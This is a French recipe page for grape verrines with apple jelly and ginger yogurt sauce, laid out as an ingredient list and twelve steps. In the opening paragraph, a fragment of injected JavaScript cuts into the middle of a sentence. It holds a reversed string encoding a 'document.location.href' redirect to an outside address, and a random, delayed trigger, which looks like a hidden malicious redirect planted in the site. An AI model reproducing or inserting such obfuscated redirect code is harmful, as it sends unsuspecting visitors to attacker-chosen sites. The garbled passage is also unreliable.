Verrines de raisins avec gelée de pommes et sauce au yaourt

2021-04-13

Rincez, séchez les raisins. Préparez la gelée en versant le jus de pommes dans une casserole. Portez à ébullition. Hors du feu incorporez l’agar-agar, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant pendant 2 minutes.

Ingrédients

  • Pour 4 personnes
  • 100 g de raisins blancs
  • 100 g de raisins noirs
  • La gelée de pommes
  • 50 cl de jus de pommes
  • 2 g d'agar-agar
  • 2 pincées de gingembre en poudre
  • 5 cl de jus de pommes

Préparation de la recette

Etape 1

Rincez, séchez les raisins.

Etape 2

Préparez la gelée en versant le jus de pommes dans une casserole.

Etape 3

Portez à ébullition.

Etape 4

Hors du feu incorporez l'agar-agar, tout en remuant pendant 2 minutes.

Etape 5

Versez cette préparation dans des petites alvéoles en silicone.

Etape 6

Laissez refroidir et placez dans le réfrigérateur pendant 1 heure.

Etape 7

Préparez la sauce au yaourt

Etape 8

Dans un bol versez le yaourt bulgare avec le jus de pommes, les pincées de gingembre en poudre

Etape 9

Fouettez énergiquement.

Etape 10

Dressez les verrines.

Etape 11

Versez une couche de sauce au yaourt.

Etape 12

Déposez le contenu des petites alvéoles, couper en cubes, ainsi que les grains de raisins et dégustez

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